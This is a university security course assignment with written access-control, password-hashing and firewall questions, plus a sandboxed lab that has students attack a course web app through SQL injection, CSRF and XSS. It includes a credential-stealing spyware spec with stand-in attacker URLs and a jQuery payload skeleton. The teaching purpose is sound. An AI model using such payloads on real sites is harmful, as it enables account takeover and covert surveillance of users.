UNIVERSITY OF WATERLOO
Cheriton School of Computer Science

CS 458/658 **Computer Security and Privacy** **Spring 2019**
Ian Goldberg
Navid Esfahani

ASSIGNMENT 2

Assignment due date: **Wednesday, July 3rd, 2019 at 3:00 pm**

Total Marks: 73

Written Response TA: Sajin Sasy
Office hours: Wed 11:00–12:00, June 6th–July 3rd, DC 3333

Programming TA: Stan Gurtler
Office hours: Tues 17:00-18:00, June 6th–July 3rd, DC 3333

Please use Piazza for all communication. Ask a private question if necessary.

Written Response Questions [39 marks]

Intelligent Agents of Intelligence fight for Intelligence

CipherIsland Intelligence Service (CIIS), the central espionage service of CipherIsland, uses the Bell-La Padula confidentiality model to protect its documents with the following sensitivity/clearance levels:

$$\text{Director} >_c \text{Executive} >_c \text{Handler} >_c \text{Agent} >_c \text{Support} >_c \text{Unclassified}$$

CIIS also compartmentalizes all of its documents by projects, with the respective project codenames for access control. The project codenames are typically greek alphabets.

1. [8 marks] Sterling Archer, the best field agent at CIIS, absolutely detests access control mechanisms and has no intent to understand how Bell-La Padula works. All he knows is that his clearance level is (Agent, $\{\beta, \gamma, \eta, \lambda\}$). For each of the following documents, help Sterling Archer figure out whether he has read access, write access, both, or neither for the following documents under the Bell-La Padula Confidentiality Model:

   (i) F128: (Support, $\{\gamma, \eta\}$)
   (ii) F360: (Executive, $\{\gamma\}$)
   (iii) F522: (Agent, $\{\beta, \gamma, \eta, \lambda\}$)
   (iv) F513: (Support, $\{\beta, \eta, \lambda\}$)
   (v) F119: (Unclassified, $\{\beta, \delta, \lambda\}$)
   (vi) F904: (Support, $\emptyset$)
   (vii) F100: (Agent, $\{\alpha, \beta, \gamma\}$)
   (viii) F346: (Executive, $\{\alpha, \beta, \gamma, \eta, \lambda\}$)

2. [6 marks] CIIS is actively under attack by its rival agency, the central espionage service of CryptoLand, CryptoLand Intelligence Service (CLIS). With help of their secret mind-control weapon, CLIS has successfully infiltrated CIIS by controlling two of their employees, Ray Gillete and Cyril Figgis. Unfortunately, while their secret weapon allows them to control the actions of an individual, it does not retain the target individual's memory. Hence CLIS has no idea what credentials Ray Gillete and Cyril Figgis hold.

   CLIS knows from its previous infiltration attempts that CIIS has a strict security policy that triggers an alarm if an employee tries to access files without appropriate credentials more than once. On an employee's first attempt to access a file without appropriate credentials, the employee is warned by the system. The second attempt results in an internal alarm and the employee being locked out of the system. To avoid triggering the alarm CLIS decides to access files strategically to figure out the credentials their infiltrators hold. However, it turns out fine-grained muscle control with their mind-control weapon is extremely hard; Ray and Cyril effectively end up trying to access random files.

- Ray successfully reads files F909 (Support, $\{\delta\}$) and F920 (Handler, $\{\alpha, \gamma\}$), but triggers a warning when attempting to read F200 (Agent, $\{\beta, \gamma, \delta\}$).
- Cyril successfully reads files F212 (Unclassified, $\{\delta, \eta\}$) and F396 (Handler, $\{\alpha, \beta\}$), but triggers a warning when attempting to read F579 (Executive, $\{\alpha, \eta\}$).

Given that CIIS only has $\{\alpha, \beta, \gamma, \delta, \eta, \lambda\}$ as the set of compartments, and the above interactions of Ray and Cyril:

(a) What is the lowest clearance level and minimal set of compartments Ray must hold? What is highest clearance level and maximal set of compartments Ray could have?

(b) What is the lowest clearance level and minimal set of compartments Cyril holds? What is the highest clearance level and maximal set of compartments Cyril could have?

(c) CLIS desperately wants to read the file F999 (Handler, $\{\alpha, \beta, \delta\}$), which of their two infiltrators is the better choice to attempt reading this file and why?

3. [5 marks] Meanwhile, CIIS is engaged in infiltrating CLIS and gaining access to their intelligence. From their undercover mole Barry Dilton they come to know that CLIS uses a Biba integrity model for its documents, specifically one with a Low Watermark property and with the same sensitivity/clearance levels as CIIS. CLIS too uses greek letters for its project codenames.

   Barry has been tasked with exposing the file F123 (Agent, $\{\alpha.\beta, \gamma\}$), by dropping down F123's integrity to (Unclassified, $\emptyset$). However, he is aware that CLIS has an alarm that will trigger if the clearance level of a subject or object changes by more than one level in an action; similarly the alarm also triggers if the integrity level of the subject or object changes by more than one compartment in an action. (The system will allow for a change in one level of clearance as well as one change in compartment within the same action.) The alarm will also instantly lock out the subject whose actions triggered the alarm preventing them from taking any further actions that might harm CLIS.

   Detail the steps Barry needs to take to complete his task, without setting off the alarm, given that Barry's credential is (Handler, $\{\alpha, \beta, \gamma, \delta, \eta\}$) and that he can see the following set of files in the system:

   (i) F546: (Handler, $\{\alpha, \beta, \gamma\}$)
   (ii) F101: (Unclassified, $\emptyset$)
   (iii) F513: (Agent, $\{\beta, \gamma\}$)
   (iv) F121: (Executive, $\{\beta, \delta, \lambda\}$)

(v) F676: (Agent, $\{\alpha, \beta, \gamma\}$)

(vi) F917: (Agent, $\{\beta, \gamma, \eta\}$)

(vii) F369: (Support, $\{\beta\}$)

(viii) F129: (Agent, $\{\alpha, \beta, \gamma, \eta\}$)

(Note that a simple way to manipulate credentials of a file would be to add an empty string to the file in question, so that the file itself doesn't change but the integrity level gets updated by the Low Watermark property.)

Securing password authentication

CIIS among other precautionary mechanisms is auditing the security of their password authentication mechanism. Currently, they store the hash of a password (fingerprint) in a file, and authenticate their employee login attempts against this fingerprint. Their scheme for generating and verifying fingerprints is sketched below:

- Every password entry $\mathcal{P}$ maintains an 8-bit random salt $\mathcal{S}$ used for generating its fingerprint $\mathcal{F}$, and the system uses a hash function $\mathcal{H}$.
- The fingerprint of a password is computed as $\mathcal{F} = \mathcal{H}(\mathcal{P}) + \mathcal{S}$ and is stored in their password fingerprint file (essentially their version of /etc/shadow) along with the username and $\mathcal{S}$ for that user.
- When an employee attempts to log in with a password $\mathcal{P}'$, the system verifies the password by computing $\mathcal{H}(\mathcal{P}') + \mathcal{S}$ where $\mathcal{S}$ is the salt for that user in their password fingerprint file.

1. [3 marks] Is this scheme secure? If no, what attacks are they currently susceptible to?
2. [2 marks] How can they improve their scheme without changing the underlying hash function?
3. [3 marks] Here is an example hash of a password from their file (before the salt is added):

   3af72af81786cb584072bf086c1f1ead2ade88a3

   Name and justify a candidate hash function that could have produced this hash. What is the password that hashes to that value, and how did you determine it?
4. [2 marks] Propose an alternate hash function that could provide better security properties and justify your choice.

Firing up the Firewall

After a recent breach of security, and loss of several confidential files. CIIS has decided to set up its firewall again. You are tasked with this ordeal alongside the current network security expert Lana Kane. CIIS owns the IP address range 32.23.11.0/25. The following are the network functionalities that CIIS requires for its day-to-day operations:

- All employees of CIIS should be able to browse the internet from within their network.
- Their public webpage which is hosted on an internal server (with the IP address 32.23.11.25 and served with HTTPS) must be accessible on the internet.
- Employees should be able to ssh into their work devices in the company network from anywhere in the world.
- CIIS only trusts a special DNS server (located at the IP address 53.16.71.12) hosted by an allied organization to handle all of its DNS lookups. This DNS server is unique in that it serves requests on port 1551 (normally DNS servers serve requests on port 53) and also expects the clients to send these requests from the ports in range 5000 to 5100.
- CIIS also maintains an IRC channel (on port 3223 of a server with IP address 32.23.11.10) which is meant to facilitate communications of their covert agent (with the IP address 9.19.11.217) with the rest of the organization.

1. [2 marks] Lana Kane is of the opinion that they should reinstate a blacklist with the list of all known malicious IP addresses along with the source IP address of the recent breach to protect against future attacks. Is this a good defense strategy? Why or why not?
2. [2 marks] While configuring the firewall, you notice a series of IP packets from outside the company network that have their source IP addresses as 32.23.11.17. What kind of an attack is this? What type of firewall can be used to defend against it?
3. [6 marks] Configure the firewall by adding the required rules to meet the aforementioned requirements of CLIS. Rules must include the following:
    - DROP or ALLOW
    - Source IP Address(es)
    - Destintation IP Address(es)
    - Source Port(s)
    - Destination Port(s)
    - TCP or UDP or BOTH

Here is an example rule to allow access to HTTP pages from a server with IP address 5.5.5.5:

ALLOW 5.5.5.5 => 32.23.11.0/25 FROM PORT 80 to all BY TCP

(**HINTS:**

- CIDR Notation may be helpful for this portion of the assignment.
- Some requirements may need more than one rule.
- Ports can be specified as a singular value, range, as a set, or as 'all' as seen in the example above.

Programming Questions [34 marks]

An eye for an eye

You have been employed by a government agency to audit a *web application* critical to the healthy functioning of democracy in CipherIsland, your home country. The agency suspects that hackers employed by CipherIsland's arch enemies, CryptoLand, will attempt to manipulate the website in myriad ways in order to affect public opinion in CipherIsland. It is up to you to investigate what is possible and determine how your country's democracy may be influenced by this foreign adversary.

The web application itself is a content sharing portal, where any user can view content, which includes articles, links, images, and comments. Registered users can log in and then post content. Note that users in the process of using the website may inadvertently leak information that may assist you in solving your tasks. You are provided black-box access to this application; that is, you can access the website in the same manner as a user, but you do not have access to its source code.

The web application uses PHP to generate HTML content dynamically on the server side. The server stores the application data, which includes usernames, passwords, comments, articles, links, and images, in a SQLite3 database on the server. In this manner, we consider two systems, a relational database and HTML forms, that by default do not validate user inputs.

Assignment submission summary

This is a summary; refer to Rules about exploit script execution for exact rules and more details about assignment submission.

1. Each question lists **required** files. You can submit more files if needed.
2. The required files must have the specified names. Submitting files with different names will result in a penalty.
3. Most questions require the file `exploit.sh` to be submitted. It is the file that is executed to mark the assignment. For all questions but question 3b, your `exploit.sh` has to accept **one** parameter — a URL of the website under attack. For question 3b, your `exploit.sh` has to accept **two** parameters — a URL of the website under attack, and a URL of the spyware listening server, in that order. While you are working on the assignment, the URL under attack will be `http://ugsterXX.student.cs.uwaterloo.ca/userid` and during marking it will be something else (but it will be a valid URL). Also note that there will be **no** trailing slash in the end of the URL. The URL of the spyware listening

server will depend on your development setup; see question 3b for more details. **You must not hardcode the URL of your ugster machine anywhere in your exploit files (including in HTML/JavaScript).** Hardcoding will result in a penalty, if your submission is successfully able to be graded at all.

4. For each part of each question, submit your files as a tar file with the files at the top level (do **not** submit your files inside a folder). Submitting files inside a folder will result in a penalty.

   Use the command "`tar cvf %exploit%.tar -C %folder% .`". Replace `%exploit%` and `%folder%` with appropriate values, also note the period in the end.

5. You can reset your website at:
   `http://ugsterXX.student.cs.uwaterloo.ca/reset/userid`

6. Please avoid uploading large files to the web server; it has limited disk space.

Questions

1. [15 marks] **Disinformation**

   You've heard a great deal about the dangers of "troll farms", where a coordinated set of individuals posing as ordinary users use social media to promote propaganda towards some particular end. You're concerned about the vulnerability of your site to this sort of interference. Happily, your site does not allow for the creation of arbitrary new accounts (a common tactic to make a sockpuppet "army" of accounts to post with). Your task is to determine if there are other ways in which your site may be vulnerable to such dangers, and what, if any, are the consequences of any such vulnerabilities.

   (a) [4 marks] **Easily guessable password**

   The site does not enforce any sort of password hardness measures, and you are concerned that one or more of the users on the website may have a password that is very easy to guess or discover. If this is the case, anybody could log in and post as them!

   i. [3 marks] Guess the password of the user with the weak password, then write a shell script which will log in as that user. Save the response from that login request into the file `response.txt`. Note that alice's password, which is given below, is not the weak password we are looking for here and will result in no points.

   ii. [1 mark] Create a post on behalf of the user you just breached.

   What to submit: `exploit1_a.tar` file which contains the following files (**not** inside a folder):

   - `exploit.sh` — shell script that performs the login as the user with the weak password. It also needs to create the post on the website.
   - `response.txt` — file with the response from the server after successful log in, containing username and password.

   (b) [4 marks] **Confirmation code**

   The site attempts to make sure that users who have not been active for some time still have access to the email account they used to sign up. After too much inactivity, they must confirm their account to use the website again. Your task is to determine whether the confirmation system is open to abuse. Note: a confirmation code can only be used once, so it is advisable to reset your website/server often while debugging.

   i. [3 marks] Find the confirmation code value and obtain access as the corresponding user. Save the server response from the code confirmation request into the file `response.txt`.

   ii. [1 mark] Create a post on behalf of the user you just impersonated.

   What to submit: `exploit1_b.tar` file which contains the following files (**not** inside a folder):

- `exploit.sh` — shell script performing the confirmation and logging in as the user. It also needs to create the post on the website.
- `response.txt` — file with the response from the server after successful log in. It should contain the code that you just sent in the URL.

(c) [5 marks] **SQL injection**

You know that sometimes in negligent web applications, user-generated data may be directly passed into database queries in several contexts, such as to insert or modify user-generated content in a database, or to query a database that contains user credentials for authentication. In these cases, a user could craft their input to include malicious database queries, such as to alter queries or insert/modify records. Your task is to determine whether this is possible on the site.

i. [3 marks] Use a SQL injection attack on the login form to log into the site as user ‘pjvogt’. Save the response from the login request into the file `response.txt`.
ii. [1 mark] Create a post on behalf of the user you just impersonated.
iii. [1 mark] Now that you’ve found a vulnerability, you want to recommend to your superiors that it be addressed. They want to patch it via input sanitation, but although you know that input sanitization is a common method to prevent SQL injection attacks, you also know that it is insufficient, as it is hard to eliminate all corner-cases for successful injections. After gathering information on this issue (e.g. on the Internet), briefly describe a method to prevent SQL injection attacks, which separates the query data from the query syntax.

What to submit: `exploit1_c.tar` file which contains the following files (**not** inside a folder):

- `exploit.sh` — shell script performing the SQL injection and logging in as the user. It also needs to create the post on the website.
- `response.txt` — file with the response from the server after successful log in, containing username and password.
- `mitigation.txt` — file with your answer for how to address the SQL injection vulnerability.

(d) [2 marks] **Vote manipulation**

You have investigated many ways to illicitly gain access to another user’s account, but other than posting content falsely as that person, what else could a malicious individual interfere with? For example, troll farms are known to use sockpuppet accounts to make certain posts appear either more highly or lowly regarded than they actually are by legitimate users. While sockpuppets are not possible on the site, is there some other mechanism a malicious individual could use to manipulate these opinions?

i. [2 marks] There is a post by user ‘pjvogt’ that is directly antagonizing CryptoLand and seems ripe for abuse. Using the login of user “alice” (password:

"password123"), manipulate that post's vote count as you see fit (however you affect it, affect it by more votes than there are users on the site) and save the response from the voting request into the file `response.txt`.

What to submit: `exploit1_d.tar` file which contains the following files (**not** inside a folder):

- `exploit.sh` — shell script which logs in as "alice" and manipulates the vote count of the post as that user.
- `response.txt` — file with the response from the server after successful vote cast, containing post ID and vote amount.

For the rest of the assignment, please use the following credentials:

```
username:  alice
password:  password123
```

2. [5 marks] **Cross-site request forgery**

   Cross-site request forgery attacks manipulate the browser to send state information maintained by the client to the website without the knowledge of the user. Hence, they use the fact that there is no way to identify whether an HTTP request is 'genuinely' sent by the user or if the browser has been 'duped' into sending it.

   (a) [1 mark] While vote manipulation is plainly possible if a malicious individual can log in as another user, vote manipulation may also be induced by other means. On the website, URLs are created using the html tag `<a>`, as follows: `<a href=``[LINK]''>[LINK TITLE]</a>` with [LINK] indicating the URL and the [LINK TITLE] indicating the title of the URL. Substitute the [LINK] in such a manner that the post with id '3' is downvoted on behalf of the user who clicks on the `<a>` tag. You should not use any JavaScript for this question.

   (b) [3 marks] Vote manipulation isn't the only vulnerability exposed on the website via this technique. Similarly to 2a, substitute the [LINK] in such a manner that a new post is created on behalf of the user who clicks on the `<a>` tag. The post should be an article, have the title "very important" and the following content: "Down with CipherIsland!!". You may use JavaScript for this question, but any JavaScript should be part of the [LINK], not in a separate `<script>` tag.

   NOTE: that clicks on `<a>` links result in GET requests by the browser, which might not be something that we would like in order to create a new post. There are some tricks how to override the behaviour of the `<a>` tag, for example, as in this post on stackoverflow.

   (c) [1 mark] As before, after noticing this vulnerability, your superiors need a plan for how to fix it. Briefly describe a defense against this CSRF attack.

   Refer to Section Notes about JavaScript for resources about JavaScript.

   Note, for parts 2a and 2b you can assume that your `<a>` tags will be clicked/executed from the main `/index.php` page of the website.

   What to submit: `exploit2.tar` file with the following files (**not** inside a folder):

   - `url.a.html` — `<a>` tag with [LINK] and [LINK TITLE] substituted in the way it is required for the part 2a.
   - `url.b.html` — `<a>` tag with [LINK] and [LINK TITLE] substituted in the way it is required for the part 2b.

- `new-post-script.b.js` — A human-readable version of the JavaScript code contained in the [LINK] section of the `<a>` tag in 2b.
- `exploit.sh` — Shell script which creates a new post with the link from `url.b.html`.
- `response.txt` — Response from the server after creating the post; containing type, title and content of the post.
- `mitigation.txt` — file with your answer for how to address the CSRF vulnerability.

3. [14 marks] **Cross-site scripting**

   Cross-site scripting attacks involve injecting malicious web script code (including HTML, Javascript, etc) into a webpage via a form. As a result, the document object model (DOM) of the HTML webpage changes whenever the code is executed. Depending on whether the change persists across reloads of the webpage, XSS attacks are classified as stored (persistent) or non-persistent attacks.

   As a tester, who wants to detect changes in the DOM of the HTML webpage, you may want to check the source code of the page, monitor the HTTP requests/responses, and run JavaScript. This can be done using standard 'Developer tools' menus in browsers and/or using adequate flags for command-line utilities like `curl` (except running JavaScript).

   (a) [3 marks] **XSS Warmup** Even without the problems with illicit logins the site may have, there are also ways to use XSS to make the illusion that you are posting as even a nonexistant user. Write a JavaScript function that returns the ID integer of the current post when run on `view.php?id=<any post id>`. It should also modify the webpage (not the database) so that it appears as if the post was written by the (non-existant) user 'AGoldmund' (replace the text "posted by __" with "posted by AGoldmund"). If the function detects it is running on any page other than `view.php`, it should return immediately without doing any of the above.

   What to submit: `exploit3_a.tar` file which contains the following files (**not** inside a folder):

   - `comment-script.js` — File with the script function as described above. Please keep the code in this file readable.

   (b) [10 marks] **Advanced XSS** While XSS can be used to post illicitly, XSS can also do much more complicated things. You have been told that data harvesting is extremely valuable for propaganda purposes, but you have been having trouble convincing your superiors that the XSS vulnerabilities of the site have far-reaching consequences. As a result, you have decided to take it upon yourself to create a proof-of-concept XSS payload with the capability to spy on the activities of any user who loads it.

   When a victim loads a page containing your payload (such as, a comment on a post), the page should load normally, but all functions of the site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. You may assume the victim is not already logged in to the site. The site should look and appear to be working normally. To convince your superiors of the threat, your payload will need to accomplish the following goals (Note: goals are cumulative. You cannot get points for Persistence without successfully implementing Spying, and you cannot get points for Stealth without implementing Persistence):

   Spying: [5 marks]

   - Report all login and logout events by loading the URLs:
     `http://<attacker>/stolen?event=login`

`&user=<username>&pass=<password>`
`http://<attacker>/stolen?event=logout`
`&user=<username>`

- Report each page that is displayed (what the user thinks they're seeing) by loading the URL:
  `http://<attacker>/stolen?event=nav`
  `&user=<username>&url=<see_below>`
  (`<username>` should be omitted if no user is logged in.) URLs on the site appear as follows (with the occasional exception of the `<query_values>` part:
  `http://ugsterXX.student.cs.uwaterloo.ca/<userid>/`
  `<file>?<query_values>`.
  In this, you should report only the portion `<file>` as above.)
- Report each post that is viewed directly by loading the URL:
  `http://<attacker>/stolen?event=view`
  `&user=<username>&post=<post_id>`
  (`<username>` should be omitted if no user is logged in.)
- Report each up or down vote that occurs on each post by loading the URL:
  `http://<attacker>/stolen?event=vote`
  `&user=<username>&post=<post_id>&vote=<vote_val>`
- Report each time the user makes a comment by loading the URL:
  `http://<attacker>/stolen?event=comment`
  `&user=<username>&parent=<post_id>`
- Report each time the user makes a post by loading the URL:
  `http://<attacker>/stolen?event=post`
  `&user=<username>&title=<post_title>&type=<post_type>`
- Report each time the user uploads an image by loading the URL:
  `http://<attacker>/stolen?event=image`
  `&user=<username>`
- Report each time the user clicks on an external link by loading the URL:
  `http://<attacker>/stolen?event=link`
  `&user=<username>&link=<URL_of_external_link>`
  (`<username>` should be omitted if no user is logged in; note that in this case your attack will not be able to continue as the user follows the external link, which is okay.)
- We have provided a python server, `simple_server.py` on Learn. You can test receiving the event data on your local machine using this server; in this case, `<attacker>` would be `127.0.0.1:31337`.
- Alternatively, a version of `simple_server.py` is also available on the ugsters; using your credentials from A1, you may run the server from there instead by calling `simple_server <port_number>`. In this case, `<attacker>` will be `ugsterXX.student.cs.uwaterloo.ca:YYYYY`, for `YYYYY` your

choice of port number. **Do not hardcode in an ugster URL for this portion of the assignment, or you will lose points.** Note also that we only guarantee that you will be able to use ports 31000-31999 with this program, and even then ports are only usable by one individual at a time. If you choose a port already in use on the ugster you are attempting to work from, your server will not function correctly, and sending requests to a port you do not have control of may interrupt someone else's work. If we find you intentionally interrupting another's work, you will receive an **automatic zero**, and further penalties may be imposed. For the above reasons, we heavily recommend running the server from your own local machine if at all possible.

Persistence: [3 marks]

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in, logging out, and posting comments, links, articles, or images. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another page on the site by using the browser's back or forward buttons.

Stealth: [2 marks]

- Display all pages correctly, with no significant evidence of attack. (Minor text formatting glitches or pages appearing to flash when links are clicked are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack. (Hint: Learn about the HTML5 History API.)

For this submission, you will need to create a payload meeting these criteria as an individual file. Note that there are not different files to submit tackling the different subparts — these are all merely properties of a single correct solution. You will also need to create an `exploit.sh` as before which will post this payload as a comment to the post by user "j3tracey" describing how to use submit (since this is already a popular post with several comments). Your payload must be self-contained, but may embed CSS and JavaScript, and may load jQuery from the following URL:
`http://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js`
You will want to test your solutions in Firefox, the browser we will be using for grading. **NOTE: This `exploit.sh` should take two arguments instead of one. The first argument should be the same as before, the website under attack, but the second argument should be the website of the spying server (e.g., `<attacker>` as above).**

What to submit: `exploit3_b.tar` file which contains the following files (**not** inside a folder):

- `payload.html` — A fully ready payload which could be submitted as (part of) a comment to a post on the site, which will appropriately modify/hijack the site as described above. Please keep the code in this file readable.

- `exploit.sh` — A shell script that posts this payload as a comment on the post by user "j3tracey" describing how to use submit.

(c) [1 mark] **XSS Mitigation** After going through this effort to prove to your superiors that XSS is a serious threat, you again need to have a plan for how to *mitigate* this specific XSS attack. That is, you need to stop some malicious code, which has been inserted into the database, from being executed when delivered to a client, without modifying the database content or database handler functions. Recommend a strategy to achieve this (you may research online) and briefly describe how it works.

What to submit: `exploit3_c.tar` file which contains the following file (**not** inside a folder):

- `mitigation.txt` — file with your answer for how to address the XSS vulnerability.

Refer to Section Notes about JavaScript for resources about JavaScript.

Rules about exploit script execution

A web server is running on each of the ugster machines, and a directory has been created using your ugster userid. Your copy of the web application can be found at:

`http://ugsterXX.student.cs.uwaterloo.ca/userid`

where `ugsterXX` and `userid` are the machine and credential assigned to you previously from the Infodist system. If you need to reset the webserver, simply access the following URL:

`http://ugsterXX.student.cs.uwaterloo.ca/reset/userid`

This will delete all changes made to your copy of the web application, and restore it to its original state.

As with the previous assignment, the ugster machines are only accessible to other machines on campus. If you are working from home, you will need to first connect through another machine (such as `linux.student` or the campus VPN).

You need to submit exploit scripts. These are the tarball files with the name and contents specified in the text of the assignment. Tarballs may also contain other files that are required for `exploit.sh`. Submitted exploits have to be standalone, as the environment will be reset for each exploit execution. The exploit script `exploit.sh` (in all cases except question 3b) must accept exactly **one** command-line argument, which will be the **URL address** of the web server.

(e.g. `'./exploit.sh http://ugsterXX.student.cs.uwaterloo.ca/userid'`)

For question 3b, `exploit.sh` must accept exactly **two** command-line arguments, which will be the **URL address** of the web server and the **URL address** of the spying server, in that order

(e.g. `'./exploit.sh http://ugsterXX.student.cs.uwaterloo.ca/userid http://ugsterXX.student.cs.uwaterloo.ca:31337/stolen'`).

Failure to follow this rule will result in 1 mark being deducted for every time the `exploit.sh` script accepts incorrect parameters.

Obviously, these are exploit files and can potentially steal confidential information. Therefore, you should assume that we will be running your scripts in a sandboxed environment — the execution environment for all portions will **not** have any open Internet access, and scripts injected via exploits can only rely on themselves and cannot rely in general on resources served on the Internet. jQuery will be available to your scripts, but your solutions should expect no other resource.

Note 1: If one of your exploits forces the application into an unusable state, you can restore the default state by accessing the URL above. If the web server itself becomes unusable, please report this on Piazza, along with a description of what you were doing when the problem occurred. *Do not perform denial of service attacks* on either the ugster machine or the web server. This includes uploading absurdly large files to the web server. Any student caught performing DoS attacks will receive an **automatic zero** on the assignment, and further penalties may be imposed.

Note 2: Do not connect to the web server with a userid different from the one that is assigned to you. Any student that is caught messing around with another student's web application by connecting to the wrong URL will receive an **automatic zero** on the assignment, and further penalties may be imposed.

Note 3: These scripts will be performing requests and saving responses of the server. You should save the *exact* response of the server. For example, if the server replies with the redirect message, then this is what should be logged (as there might be more information in the reply of the server). In particular, if you choose to complete the assignment using `curl` as your main tool, do **not** use the flag `-L`.

Writing your exploits

You may use any language of your choosing (within reason) to exploit the server; the only restriction is that your exploits run correctly on the ugster machines. You may use external tools to aid you if they are not directly required for exploit execution (i.e., they help you gather information during programming, etc.).

A basic understanding of HTML forms will also be helpful for completing this assignment. A good starting point for learning about forms might be:

`http://www.cs.tut.fi/~jkorpela/HTML3.2/5.25.html` or

`https://developer.mozilla.org/en-US/docs/Learn/HTML/Forms`

For some of the requests, you might need to consult with

`https://developer.mozilla.org/en-US/docs/Glossary/percent-encoding`

in order to successfully deliver data to server over the URL.

Understanding how to use jQuery to some degree will almost certainly be necessary for question 3b. You may find this resource helpful if you have not worked with jQuery before:

`http://learn.jquery.com/using-jquery-core/`

Here are some other links that you may find useful:

- cURL: curl.haxx.se (information about headers, GET, POST)
- cURL Scripting: curl.haxx.se (if you don't know how HTML forms work)
- Shebang: Wikipedia (if you are new to scripting)
- Web sessions: Wikipedia (go to the section on Web Server Session Management)

Example response.txt's

example content of response.txt for 1a:

```
USERNAME
PASSWORD
```

example content of response.txt for 1b:

```
CONFIRMATION_HASH
```

example content of response.txt for 1c:

```
USERNAME (MAY INCLUDE SQL INJECTION CODE)
PASSWORD (MAY INCLUDE SQL INJECTION CODE)
```

example content of response.txt for 1d:

```
POST_ID
VOTE_COUNT
```

example content of response.txt for 2:

```
POST_TYPE
POST_TITLE
POST_CONTENT
```

Attacks and protocols

The following links may be helpful in designing exploit scripts.

- Cross-site scripting attacks and defenses: owasp

- Cross-site request forgery and defenses: owasp
- SQL Injection attacks and defenses: owasp
- HTTP: MDN, Wikipedia — if you are new to how HTTP/web works.
- JavaScript: MDN
- jQuery: jQuery
- Document Object Model: MDN — API for accessing parts/objects of an HTML page.

Notes about JavaScript

You can easily test out your JavaScript source code in the browser's developer tools console: for chrome or for for firefox.

You may build your advanced XSS attack by extending the following framework if you wish. This template should be helpful for question 3b.

```
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js">
    </script>
<script>
// Extend this function:
function payload(attacker) {
   function log(data) {
      console.log($.param(data))
      $.get(attacker, data);
   }
   function proxy(href) {
      $("html").load(href, function(){
         $("html").show();
         log({event: "nav", url: href});
      });
   }
   $("html").hide();
   proxy("./");
}
</script>
```

You may also find the following pages from reputable sources useful for this section:

- the DOM:

    - document.querySelectorAll(): MDN
    - document.cookie: MDN
    - document.location: MDN
    - innerHTML: MDN

- string manipulation:
    - RegExp: MDN
    - useful string methods: MDN

- making GET and POST requests:
    - XMLHttpRequest.send(): MDN

- jQuery:
    - Learning Guide: jQuery
    - the API resource: jQuery
    - $.get(): jQuery
    - $.post(): jQuery
    - Class selectors: jQuery
    - ID selectors: jQuery
    - “change” event handlers: jQuery
    - “click” event handlers: jQuery
    - “hover” event handlers: jQuery
    - “load” event handlers: jQuery
    - event.preventDefault(): jQuery
    - .val(): jQuery
    - inserting new content to the DOM: jQuery

Note, about performing the request using XMLHttpRequest or jQuery’s functionality for asynchronous requests. There are two ways you can specify the URL in these systems — using the absolute URL and using a relative URL. Since the URL that you are using to test your exploits and the URL that is used for marking might be different, you may not assume that a request to

```
http://ugsterXX.student.cs.uwaterloo.ca/userid/index.php
```

will always do what you expect. Because of this, you should use relative URLs, so that you do not have issues where you do not know the rest of the URL. You can read more about them here: MDN

Notes about simple_server.py

This code is fairly simple, and most machines should be able to run it without problems, but if you'd prefer not to run it on your own hardware or cannot do so, we also provide it on the ugsters for you to use in the same manner as you worked in A1. All the server does is print to the terminal any GET request made of it; its only purpose is to help you determine if your exploit for question 3b is correctly implementing Spying. Logging in to the ugsters as you have before, you can invoke it simply as `simple_server <port number>`, where `<port number>` is a port of your choosing. In order to avoid port collisions, a few strategies may be employed including choosing a port completely randomly and choose randomly again if there is contention, or choosing a port deterministically based on your username (treat your username as a base 36 number, mod it by 1000, and add that to 31000).

What to hand in

Using the "submit" facility on the student.cs machines (**not** the ugster machines or the UML virtual environment), hand in the following files:

a2-responses.pdf: A PDF file containing your answers for all written questions. This filename was different for the first couple of hours the assignment was posted on 2019-06-04. It must contain, at the top of the first page, your name, UW userid, and student number. **-3 marks if it doesn't!** Be sure to "embed all fonts" into your PDF file. Some students' files were unreadable in the past; if we can't read it, we can't mark it.

exploit{1_{a,b,c,d},2,3_{a,b,c}}.tar: Tarballs containing your exploits for the programming portion of the assignment. To create the tarball, for example for the first question, which is developed in the directory `exploit1_a/`, run the command

```
    tar cvf exploit1_a.tar -C exploit1_a/ .
```

(including the `.`).

You can check that your tarball is formatted correctly by running "`tar -tf file.tar`". For example (note that there are no folder names in the output):

```
$ tar -tf exploit1_a.tar
./
./exploit.sh
./response.txt
```